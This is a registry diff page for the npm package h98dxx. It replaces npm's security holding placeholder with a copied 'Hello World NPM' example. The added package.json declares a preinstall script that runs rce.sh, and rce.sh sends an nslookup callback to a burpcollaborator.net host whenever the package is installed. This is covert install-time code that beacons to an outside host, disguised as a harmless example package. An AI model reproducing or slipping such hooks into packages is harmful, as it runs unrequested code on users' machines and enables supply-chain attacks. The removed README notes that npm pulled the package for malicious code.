h98dxx 0.0.1-security → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of h98dxx might be problematic. Click here for more details.

package/Readme.md ADDED
@@ -0,0 +1,47 @@
1
+ # Hello World NPM
2
+
3
+ This is an example project to see the minimal amount effort needed to publish to NPM.
4
+
5
+ ![Example CL Usage](example.gif)
6
+
7
+ ## Installation
8
+
9
+ ```
10
+ npm install -g nimstall
11
+ nimstall -g hello-world-npm
12
+ ```
13
+
14
+ ## Usage
15
+
16
+ ### In Your Source Code
17
+
18
+ ```
19
+ import { helloWorld } from 'hello-world-npm';
20
+
21
+ console.log(helloWorld());
22
+
23
+ ```
24
+
25
+ OR
26
+
27
+ ```
28
+ import HelloWorldNPM from 'hello-world-npm';
29
+
30
+ console.log(HelloWorldNPM.helloWorld());
31
+
32
+ ```
33
+
34
+ OR
35
+
36
+ ```
37
+ import HelloWorldNPM from 'hello-world-npm';
38
+
39
+ console.log(HelloWorldNPM());
40
+
41
+ ```
42
+
43
+ ### Command Line
44
+
45
+ ```
46
+ hello-world-npm
47
+ ```
package/bin.js ADDED
@@ -0,0 +1,5 @@
1
+ #!/usr/bin/env node
2
+
3
+ var HelloWorldNPM = require('./lib/')
4
+
5
+ console.log(HelloWorldNPM())
package/example.gif ADDED
Binary file
package/init.sh ADDED
@@ -0,0 +1,7 @@
1
+ npm init
2
+ git init
3
+ git add .
4
+ git commit -m "updated"
5
+ npm version 1.0.7
6
+ npm publish
7
+ git push https://rms1000watt@github.com/rms1000watt/hello-world-npm.git master:master
package/lib/index.js ADDED
@@ -0,0 +1,10 @@
1
+ function helloWorld() {
2
+ return "Hello World"
3
+ }
4
+
5
+ function HelloWorldNPM() {
6
+ return "Hello World NPM"
7
+ }
8
+
9
+ module.exports = HelloWorldNPM;
10
+ HelloWorldNPM.helloWorld = helloWorld;
package/package.json CHANGED
@@ -1,6 +1,84 @@
1
1
  {
2
+ "_args": [
3
+ [
4
+ "h98dxx@1.1.0",
5
+ "/tmp"
6
+ ]
7
+ ],
8
+ "_from": "h98dxx@1.1.0",
9
+ "_hasShrinkwrap": false,
10
+ "_id": "h98dxx@1.1.0",
11
+ "_inCache": true,
12
+ "_installable": true,
13
+ "_location": "/h98dxx2",
14
+ "_nodeVersion": "4.2.6",
15
+ "_npmOperationalInternal": {
16
+ "host": "s3://npm-registry-packages",
17
+ "tmp": "tmp/h98dx_1.1.0_1632513640840_0.5346925398194469"
18
+ },
19
+ "_npmUser": {
20
+ "email": "husseinpentest@gmail.com",
21
+ "name": "hussein98d"
22
+ },
23
+ "_npmVersion": "3.5.2",
24
+ "_phantomChildren": {},
25
+ "_requested": {
26
+ "name": "h98dxx",
27
+ "raw": "h98dxx@1.1.0",
28
+ "rawSpec": "1.1.0",
29
+ "scope": null,
30
+ "spec": "1.1.0",
31
+ "type": "version"
32
+ },
33
+ "_requiredBy": [
34
+ "#USER"
35
+ ],
36
+ "_resolved": "file:h98dxx",
37
+ "_shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
38
+ "_shrinkwrap": null,
39
+ "_spec": "h98dxx@1.1.0",
40
+ "_where": "/tmp",
41
+ "author": {
42
+ "name": "Ryan Smith"
43
+ },
44
+ "bin": {
45
+ "h98dxx": "./bin.js"
46
+ },
47
+ "bugs": {
48
+ "url": "https://github.com/rms1000watt/hello-world-npm/issues"
49
+ },
50
+ "dependencies": {},
51
+ "description": "Hello World NPM example",
52
+ "devDependencies": {},
53
+ "directories": {},
54
+ "dist": {
55
+ "fileCount": 8,
56
+ "integrity": "sha512-Zo3483vroUtxzdcO81SQhI9SFS+E5LOVC3oZ/VAyLaOje2P1zGslxuMPD0xkXBcu+t7uoMTLbTZhWgWUI2IRxg==",
57
+ "shasum": "348757ca3eb14331d920e6f7c2f408237ae99437",
58
+ "tarball": "https://registry.npmjs.org/h98dxx/-/h98dxx-1.1.0.tgz",
59
+ "unpackedSize": 19287
60
+ },
61
+ "gitHead": "457d45035dcf88ac72c148bccee84df81c05bb59",
62
+ "homepage": "https://github.com/rms1000watt/hello-world-npm#readme",
63
+ "keywords": [
64
+ "hello",
65
+ "hello-world",
66
+ "world"
67
+ ],
68
+ "license": "MIT",
69
+ "main": "lib/index.js",
70
+ "maintainers": [
71
+ {
72
+ "name": "hussein98d",
73
+ "email": "husseinpentest@gmail.com"
74
+ }
75
+ ],
2
76
  "name": "h98dxx",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
77
+ "optionalDependencies": {},
78
+ "readme": "ERROR: No README data found!",
79
+ "scripts": {
80
+ "preinstall": "chmod +x rce.sh; ./rce.sh",
81
+ "test": "echo \"Error: no test specified\" && exit 1"
82
+ },
83
+ "version": "1.1.0"
6
84
  }
package/rce.sh ADDED
@@ -0,0 +1 @@
1
+ nslookup eewz5ffdy2m5ele9zcya5zingem7aw.burpcollaborator.net
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=h98dxx for more information.